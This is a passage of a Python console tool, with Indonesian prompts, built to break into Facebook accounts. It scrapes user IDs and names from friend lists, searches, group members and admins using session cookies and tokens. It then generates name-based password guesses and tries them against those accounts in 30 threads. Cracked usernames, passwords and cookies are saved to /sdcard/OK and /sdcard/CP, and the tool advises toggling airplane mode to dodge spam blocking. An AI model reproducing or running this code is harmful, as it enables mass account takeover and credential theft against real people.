  336.                 username = Console().input("[bold grey50]   ╰─> ")
  337.                 for self.username in username.split(','):
  338.                     try: self.Clone_Files(self.username)
  339.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  340.                 if len(dump) < 50:
  341.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  342.                     exit()
  343.                 else:
  344.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  345.                     self.Methode()
  346.             except (Exception) as e:
  347.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  348.                 exit()                
  349.                
  350.         elif query == '06' or query == '6':
  351.             try: file = os.listdir('/sdcard/CP')
  352.             except (Exception) as e:
  353.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  354.                 exit()
  355.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  356.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  357.             files = Console().input("[bold grey50]   ╰─> ")
  358.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  359.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  360.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  361.                 try:
  362.                     username, password = buka.split('|')[0], buka.split('|')[1]
  363.                     self.DetedtorChekpoint(username, password)
  364.                 except (Exception) as e:
  365.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  366.                     exit()    
  367.                
  368.         elif query == '07' or query == '7':
  369.             try:
  370.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  371.                 username = Console().input("[bold grey50]   ╰─> ")
  372.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  373.                 total = Console().input("[bold grey50]   ╰─> ")
  374.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  375.                 domain = Console().input("[bold grey50]   ╰─> ")
  376.                 for self.username in username.split(','):
  377.                     try: self.Clone_Email(self.username, total, domain)
  378.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  379.                 if len(dump) < 50:
  380.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  381.                     exit()
  382.                 else:
  383.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  384.                     self.Methode()
  385.             except (Exception) as e:
  386.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  387.                 exit()    
  388.                
  389.         elif query == '08' or query == '8':
  390.             try:
  391.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  392.                 choose = Console().input("[bold grey50]   ╰─> ")
  393.                 if choose =='01' or choose =='1':
  394.                     try: file = os.listdir('/sdcard/OK')
  395.                     except (Exception) as e:
  396.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  397.                         exit()
  398.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  399.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  400.                     files = Console().input("[bold grey50]   ╰─> ")
  401.                     self.Result(choose,files)
  402.                     exit()                    
  403.                 elif choose =='02' or choose =='2':
  404.                     try:
  405.                         file = os.listdir('/sdcard/CP')
  406.                     except (Exception) as e:
  407.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  408.                         exit()
  409.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  410.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  411.                     files = Console().input("[bold grey50]   ╰─> ")
  412.                     self.Result(choose,files)
  413.                     exit()
  414.                 else:
  415.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
  416.                     exit()  
  417.             except (Exception) as e:
  418.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  419.                 exit()
  420.                              
  421.         elif query == '00' or query == '0':
  422.             try: self.deled_dst()
  423.             except (Exception) as e:
  424.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
  425.                 exit()
  426.         else:
  427.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  428.             exit()    
  429.    
  430.     def Result(self, result, isi):
  431.         if result in ('1','01'):
  432.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  433.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
  434.                 except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
  435.                    
  436.         elif result in ('2','02'):
  437.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  438.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  439.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  440.  
  441.     def Dump_Friends(self,username,token,cookie):
  442.         with requests.Session() as r:
  443.             try:
  444.                resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
  445.                for i in resp['friends']['data']:
  446.                    uid, name = i['id'], i['name']
  447.                    if uid+'<=>'+name not in dump:
  448.                        dump.append(uid+'<=>'+name)
  449.                        Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} ID...     ", end='\r')
  450.             except (AttributeError, KeyboardInterrupt) as e: pass
  451.            
  452.     def Dump_Nama(self, url, cookie, cursor):
  453.         with requests.Session() as r:
  454.             try:
  455.                 curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
  456.                 self.payload = Requ().payload(curl)
  457.                 self.payload.update({
  458.                     'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
  459.                     'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
  460.                     'server_timestamps':True,
  461.                     'doc_id':'7704205549605925'
  462.                 })
  463.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  464.                 for i in resp['data']['serpResponse']['results']['edges']:
  465.                     uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
  466.                     if uid+'<=>'+nama not in dump:
  467.                         dump.append(uid+'<=>'+nama)
  468.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  469.                 if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
  470.                     cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
  471.                     self.Dump_Nama(url,cookie,cursor)
  472.             except (AttributeError, KeyboardInterrupt) as e: pass      
  473.            
  474.     def Dump_Member(self, username, cookie, cursor):
  475.         with requests.Session() as r:
  476.             try:
  477.                 curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
  478.                 self.payload = Requ().payload(curl)
  479.                 self.payload.update({
  480.                     'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
  481.                     'server_timestamps':True,
  482.                     'doc_id':'6621621524622624',
  483.                     'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
  484.                 })
  485.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  486.                 for i in resp['data']['node']['new_members']['edges']:
  487.                     uid, nama = i['node']['id'], i['node']['name']
  488.                     if uid+'<=>'+nama not in dump:
  489.                         dump.append(uid+'<=>'+nama)
  490.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  491.                 if resp['data']['node']['new_members']['page_info']['has_next_page']:
  492.                     cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
  493.                     self.Dump_Member(username,cookie,cursor)
  494.             except (AttributeError, KeyboardInterrupt) as e: pass            
  495.        
  496.     def Dump_Admin(self, url, cookie):
  497.         with requests.Session() as r:
  498.             try:
  499.                 link = r.get(url, cookies={'cookie':cookie[0]}).text
  500.                 cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
  501.                 for x in cari:
  502.                     if "groups" in x[0]:
  503.                         xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
  504.                         if "Admin dan Moderator" in str(xx.text):
  505.                             carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
  506.                             for i in carz:
  507.                                 if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&amp;eav", i[0])[0], i[1]
  508.                                 else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
  509.                         else: continue
  510.                         if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
  511.                     else: continue
  512.                     Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin...     ", end='\r')
  513.                 if "Lihat Hasil Selanjutnya" in link:
  514.                     self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
  515.             except (AttributeError, KeyboardInterrupt) as e: pass            
  516.        
  517.     def Clone_Email(self, nama, total, doma):
  518.         orang = ['dinda','adinda','rahma','rahmawati','suci','sucika','cantik','cantika','bagus','bagusin','bagas','bagasin','ulfah','ilham','ilhamsyah','randu','rindu','sayang','sayangku','cinta','cintaku','opah','fatimah','fatih','basuki','munir','munawirul','kolbi','zulkifli','ayahab','putriani','ahmadun','ahmad','puspita','mita','dika','rahman','rohman','alvino','aldino','khan','syarif','sarip','sarifuddin','saifuddin','kafabih','ridho','tito','afif','afifatur']
  519.         with ThreadPoolExecutor(max_workers=5):
  520.             for bukan_kaleng in range(int(total)):
  521.                 dumping = random.choice([
  522.                     f'{nama}{random.randint(24,999)}{doma}',
  523.                     f"{nama}{random.choice(orang)}{random.randint(0,99)}{doma}",
  524.                     f"{nama}{random.choice(orang)}{doma}",
  525.                     f"{nama}{random.choice(orang)}{str(random.randint(0,99))}{doma}"
  526.                 ])
  527.                 if dumping not in dump: dump.append(dumping+'<=>'+nama)
  528.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User mail...     ", end='\r')
  529.             if int(len(dump)) == total: return(int(total))
  530.         return dump
  531.        
  532.     def Clone_Files(self, username):
  533.        try:
  534.             for buka in open(self.username,'r').readlines():
  535.                 try: uid, name = buka.split('|')[0], buka.split('|')[1]
  536.                 except: continue
  537.                 if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
  538.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} ID...     ", end='\r')
  539.        except (Exception, FileNotFoundError) as e:
  540.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  541.            exit()
  542.        
  543.     def Methode(self):
  544.         try:
  545.             self.kilo.append(Panel(f'[bold green]01.[bold white] Method [bold grey50]([bold green]Web Privacy[bold grey50])\n[bold green]02.[bold white] Method [bold grey50]([bold green]Reguler Web[bold grey50])\n[bold green]03.[bold white] Method [bold grey50]([bold green]Massenger Lite[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  546.             self.kilo.append(Panel(f'[bold green]04.[bold white] Method [bold grey50]([bold green]Asyinc[bold grey50])\n[bold green]05.[bold white] Method [bold grey50]([bold green]B Api New[bold grey50])\n[bold green]06.[bold white] Method [bold grey50]([bold green]B Graph Old[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  547.             Console().print(Columns(self.kilo))
  548.             Kntl = Console().input("[bold grey50]   ╰─> ")
  549.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  550.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  551.             if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
  552.             else: self.opsi.append('tidak')
  553.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  554.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  555.             if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
  556.                 self.uaman.append('ya')
  557.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  558.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  559.                 self.uaku.append(Mugu)
  560.             elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
  561.                 self.uaman.append('ya')
  562.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  563.                 Web = Console().input("[bold grey50]   ╰─> ").lower()
  564.                 if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
  565.                 elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
  566.                 elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
  567.                 elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
  568.                 elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
  569.                 elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
  570.                 elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
  571.                 elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
  572.                 self.uaku.append(usd)
  573.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  574.             else: self.uaman.append('tidak')
  575.             self.Exec_Password(Kntl)
  576.         except (Exception) as e:
  577.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  578.             exit()
  579.            
  580.     def Scraper_Useragent(self, url, en=[]):
  581.         with requests.Session() as r:
  582.             try:
  583.                 resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
  584.                 cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
  585.                 for buka in cari:
  586.                     if "Mozilla" in str(buka):
  587.                         if buka not in en:en.append(buka[1])
  588.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(en)} Useragent...     ", end='\r')
  589.                 return(buka[1])
  590.             except (Exception) as e:
  591.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  592.                 exit()  
  593.            
  594.     def Exec_Password(self, Kntl):
  595.         try:
  596.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Default [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Lengkap [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabungan [bold grey50]([bold green]Bismillah, Sayang, Nama 321,123,12345[bold grey50])\n[bold white][bold green]04[bold white]. Password Manual [bold grey50]([bold green]Input Sandi Crack Minimal 5 Sandi![bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  597.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  598.             if Password_Akun in ('04') or Password_Akun in ('4'):
  599.                 self.masukan_sandine.append('ya')
  600.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  601.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  602.                 for ops in Masukan_Password.split(','):
  603.                     self.password_manuale.append(ops)                
  604.             self.Password_Tambah(Kntl, Password_Akun)
  605.         except (Exception) as e:
  606.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  607.             exit()      
  608.            
  609.     def Password_Tambah(self,Kntl, Password_Akun):
  610.         try:
  611.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  612.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  613.             if Zigarete == 'y' or Zigarete =='ya':
  614.                 self.masukan_sandi.append('ya')
  615.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  616.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  617.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  618.                
  619.             else: self.masukan_sandi.append('no')
  620.             self.Exec_Methode(Kntl, Password_Akun)
  621.         except (Exception) as e:
  622.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  623.             exit()    
  624.  
  625.     def Exec_Methode(self, Kntl, Password_Akun):
  626.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  627.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  628.         with ThreadPoolExecutor(max_workers=30) as V:
  629.             for Username_And_Fullname in dump:
  630.                 username, fullname = Username_And_Fullname.split('<=>')
  631.                 self.password = []
  632.                 if Password_Akun =='01' or Password_Akun =='1':
  633.                     for nama in fullname.split(' '):
  634.                         if len(nama) < 3 or len(nama) < 5: continue
  635.                         else:
  636.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  637.                                 self.password.append(f'{str(passwords).lower()}')
  638.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  639.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  640.                             continue
  641.                         else: self.password.append(f'{str(passwords).lower()}')
  642.                 elif Password_Akun =='02' or Password_Akun =='2':
  643.                     for nama in fullname.split(' '):
  644.                         if len(nama) < 3 or len(nama) < 5: continue
  645.                         else:
  646.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}1234',f'{nama}12345']:
  647.                                 self.password.append(f'{str(passwords).lower()}')
  648.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  649.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  650.                             continue
  651.                         else: self.password.append(f'{str(passwords).lower()}')
  652.                 elif Password_Akun =='03' or Password_Akun =='3':
